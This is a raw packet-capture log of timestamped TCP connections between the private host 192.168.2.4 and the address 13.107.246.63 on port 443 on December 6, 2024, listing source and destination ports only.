Dec 6, 2024 00:16:35.749224901 CET	50074	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.749234915 CET	443	50074	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.749890089 CET	50076	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.749924898 CET	443	50076	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.750207901 CET	50075	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.750216961 CET	443	50075	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.750237942 CET	50076	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.750355959 CET	50076	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.750369072 CET	443	50076	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:36.158878088 CET	443	50072	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:36.187532902 CET	50072	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:36.187545061 CET	443	50072	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:36.188057899 CET	50072	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:36.188061953 CET	443	50072	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:36.596906900 CET	443	50072	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:36.600439072 CET	443	50072	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:36.600517035 CET	50072	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:36.600585938 CET	50072	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:36.600594044 CET	443	50072	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:36.600625992 CET	50072	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:36.600630045 CET	443	50072	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:36.603506088 CET	50077	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:36.603526115 CET	443	50077	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:36.603785992 CET	50077	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:36.603785992 CET	50077	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:36.603807926 CET	443	50077	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.461035967 CET	443	50074	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.461994886 CET	50074	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.462007046 CET	443	50074	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.462459087 CET	50074	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.462462902 CET	443	50074	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.465851068 CET	443	50076	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.466995955 CET	50076	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.467014074 CET	443	50076	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.467076063 CET	443	50075	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.467387915 CET	50076	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.467392921 CET	443	50076	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.467597008 CET	50075	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.467617989 CET	443	50075	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.467698097 CET	443	50073	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.467950106 CET	50075	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.467955112 CET	443	50075	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.468118906 CET	50073	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.468132019 CET	443	50073	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.468450069 CET	50073	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.468453884 CET	443	50073	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.896703959 CET	443	50074	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.899971962 CET	443	50074	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.900218010 CET	50074	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.900238037 CET	50074	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.900248051 CET	443	50074	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.900257111 CET	50074	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.900262117 CET	443	50074	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.901170969 CET	443	50076	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.903808117 CET	50078	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.903848886 CET	443	50078	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.904165030 CET	443	50076	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.904166937 CET	50078	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.904210091 CET	50076	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.904236078 CET	50076	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.904242992 CET	443	50076	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.904253006 CET	50076	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.904258966 CET	443	50076	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.904910088 CET	50078	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.904927015 CET	443	50078	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.905343056 CET	443	50073	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.905370951 CET	443	50075	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.906451941 CET	50079	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.906480074 CET	443	50079	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.906544924 CET	50079	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.906681061 CET	50079	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.906692028 CET	443	50079	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.908365011 CET	443	50075	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.908505917 CET	443	50073	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.908559084 CET	50075	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.910757065 CET	50073	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.921188116 CET	50075	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.921200037 CET	443	50075	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.921209097 CET	50075	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.921215057 CET	443	50075	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.922368050 CET	50073	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.922375917 CET	443	50073	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.922386885 CET	50073	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.922389984 CET	443	50073	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.935336113 CET	50080	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.935388088 CET	443	50080	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.935961962 CET	50081	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.935985088 CET	443	50081	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.936002016 CET	50080	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.936031103 CET	50081	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.936177969 CET	50080	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.936192989 CET	443	50080	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:37.936254978 CET	50081	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:37.936265945 CET	443	50081	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:38.319574118 CET	443	50077	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:38.324167967 CET	50077	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:38.324178934 CET	443	50077	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:38.324641943 CET	50077	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:38.324646950 CET	443	50077	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:38.750113010 CET	443	50077	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:38.753226995 CET	443	50077	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:38.753324032 CET	50077	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:38.834569931 CET	50077	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:38.834587097 CET	443	50077	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:38.834603071 CET	50077	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:38.834609032 CET	443	50077	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:39.214488029 CET	50082	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:39.214528084 CET	443	50082	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:39.214587927 CET	50082	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:39.218696117 CET	50082	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:39.218713045 CET	443	50082	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:39.623342991 CET	443	50079	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:39.623822927 CET	50079	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:39.623835087 CET	443	50079	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:39.624305010 CET	50079	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:39.624309063 CET	443	50079	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:39.624979973 CET	443	50078	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:39.625307083 CET	50078	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:39.625328064 CET	443	50078	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:39.625700951 CET	50078	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:39.625706911 CET	443	50078	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:39.663142920 CET	443	50081	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:39.663460016 CET	50081	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:39.663480997 CET	443	50081	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:39.663840055 CET	50081	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:39.663845062 CET	443	50081	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:39.664292097 CET	443	50080	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:39.664572001 CET	50080	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:39.664587975 CET	443	50080	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:39.664921999 CET	50080	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:39.664927006 CET	443	50080	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.061769962 CET	443	50079	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.065215111 CET	443	50079	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.065282106 CET	50079	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.065644026 CET	443	50078	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.065917015 CET	443	50078	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.065960884 CET	50078	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.071134090 CET	50079	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.071142912 CET	443	50079	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.071154118 CET	50079	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.071158886 CET	443	50079	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.073666096 CET	50083	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.073692083 CET	443	50083	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.073755026 CET	50083	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.073924065 CET	50078	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.073949099 CET	443	50078	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.073961973 CET	50078	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.073968887 CET	443	50078	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.094582081 CET	50083	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.094593048 CET	443	50083	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.096929073 CET	50084	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.096973896 CET	443	50084	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.097040892 CET	50084	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.097182989 CET	50084	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.097197056 CET	443	50084	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.104341030 CET	443	50081	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.106657982 CET	443	50080	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.108411074 CET	443	50081	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.108464956 CET	50081	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.108494043 CET	50081	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.108503103 CET	443	50081	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.108511925 CET	50081	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.108516932 CET	443	50081	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.109968901 CET	443	50080	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.110023975 CET	443	50080	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.110028982 CET	50080	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.110071898 CET	50080	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.110691071 CET	50085	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.110711098 CET	443	50085	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.110733032 CET	50080	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.110748053 CET	443	50080	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.110769987 CET	50085	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.112775087 CET	50086	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.112786055 CET	443	50086	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.112848997 CET	50086	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.112890005 CET	50085	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.112900019 CET	443	50085	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.113121033 CET	50086	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.113135099 CET	443	50086	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.975392103 CET	443	50082	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.976129055 CET	50082	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.976172924 CET	443	50082	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:40.976634026 CET	50082	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:40.976641893 CET	443	50082	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:41.416304111 CET	443	50082	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:41.419399023 CET	443	50082	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:41.419431925 CET	443	50082	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:41.419459105 CET	50082	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:41.419492960 CET	50082	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:41.425180912 CET	50082	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:41.425206900 CET	443	50082	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:41.425218105 CET	50082	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:41.425224066 CET	443	50082	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:41.485187054 CET	50087	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:41.485210896 CET	443	50087	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:41.485284090 CET	50087	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:41.485429049 CET	50087	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:41.485441923 CET	443	50087	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:41.825361967 CET	443	50083	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:41.826246023 CET	443	50084	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:41.846272945 CET	443	50085	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:41.855802059 CET	443	50086	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:41.877140045 CET	50083	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:41.892765045 CET	50085	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:41.892771006 CET	50084	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:41.908401012 CET	50086	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:41.963478088 CET	50083	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:41.963489056 CET	443	50083	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:41.963975906 CET	50083	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:41.963984966 CET	443	50083	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:41.964200020 CET	50084	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:41.964210033 CET	443	50084	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:41.964540958 CET	50084	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:41.964545965 CET	443	50084	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:41.964994907 CET	50085	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:41.965002060 CET	443	50085	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:41.965343952 CET	50085	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:41.965351105 CET	443	50085	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:41.965545893 CET	50086	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:41.965548992 CET	443	50086	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:41.965873957 CET	50086	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:41.965878963 CET	443	50086	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.273941994 CET	443	50083	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.275324106 CET	443	50084	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.275377035 CET	443	50084	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.275427103 CET	50084	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.275584936 CET	50084	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.275600910 CET	443	50084	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.275612116 CET	50084	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.275616884 CET	443	50084	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.277802944 CET	443	50083	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.277862072 CET	50083	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.279113054 CET	443	50085	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.282340050 CET	50083	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.282354116 CET	443	50085	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.282357931 CET	443	50083	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.282370090 CET	50083	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.282375097 CET	443	50083	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.282407999 CET	50085	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.284317017 CET	443	50086	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.284502983 CET	443	50086	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.284538031 CET	443	50086	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.284549952 CET	50086	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.284584045 CET	50086	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.288465977 CET	50085	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.288479090 CET	443	50085	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.288489103 CET	50085	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.288492918 CET	443	50085	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.300120115 CET	50086	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.300127029 CET	443	50086	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.300134897 CET	50086	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.300138950 CET	443	50086	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.307851076 CET	50088	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.307885885 CET	443	50088	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.307996988 CET	50088	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.310149908 CET	50089	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.310180902 CET	443	50089	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.310237885 CET	50089	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.316292048 CET	50088	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.316306114 CET	443	50088	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.318170071 CET	50090	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.318178892 CET	443	50090	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.318231106 CET	50090	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.318939924 CET	50090	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.318948984 CET	443	50090	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.319912910 CET	50089	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.319925070 CET	443	50089	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.320370913 CET	50091	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.320379019 CET	443	50091	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:42.320431948 CET	50091	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.320581913 CET	50091	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:42.320589066 CET	443	50091	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:43.199480057 CET	443	50087	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:43.200001001 CET	50087	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:43.200021029 CET	443	50087	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:43.200464010 CET	50087	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:43.200469017 CET	443	50087	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:43.640588045 CET	443	50087	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:43.643637896 CET	443	50087	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:43.643800020 CET	50087	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:43.643861055 CET	50087	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:43.643872023 CET	443	50087	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:43.643882036 CET	50087	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:43.643887043 CET	443	50087	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:43.647252083 CET	50092	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:43.647294998 CET	443	50092	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:43.647387028 CET	50092	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:43.647511959 CET	50092	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:43.647527933 CET	443	50092	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.072808027 CET	443	50089	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.073520899 CET	443	50090	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.073916912 CET	50089	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.073937893 CET	443	50089	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.074393988 CET	443	50091	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.074526072 CET	50089	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.074532986 CET	443	50089	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.074573994 CET	443	50088	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.074908018 CET	50090	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.074929953 CET	443	50090	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.075308084 CET	50090	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.075318098 CET	443	50090	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.075541019 CET	50088	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.075553894 CET	443	50088	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.076313972 CET	50088	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.076318026 CET	443	50088	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.076600075 CET	50091	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.076611042 CET	443	50091	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.077004910 CET	50091	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.077008963 CET	443	50091	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.509566069 CET	443	50091	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.509639025 CET	443	50090	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.511147976 CET	443	50089	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.511348009 CET	443	50088	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.512578011 CET	443	50091	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.512644053 CET	50091	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.512794018 CET	443	50090	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.512828112 CET	443	50090	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.512856960 CET	50090	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.512871981 CET	50090	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.514203072 CET	443	50089	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.514257908 CET	50089	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.514436960 CET	443	50088	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.514484882 CET	50088	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.525655985 CET	50091	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.525671959 CET	443	50091	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.525685072 CET	50091	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.525690079 CET	443	50091	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.526984930 CET	50090	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.526997089 CET	443	50090	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.527005911 CET	50090	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.527012110 CET	443	50090	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.527131081 CET	50089	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.527131081 CET	50089	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.527137041 CET	443	50089	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.527143955 CET	443	50089	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.528480053 CET	50088	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.528484106 CET	443	50088	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.528498888 CET	50088	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.528501987 CET	443	50088	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.530901909 CET	50093	443	192.168.2.4	13.107.246.63
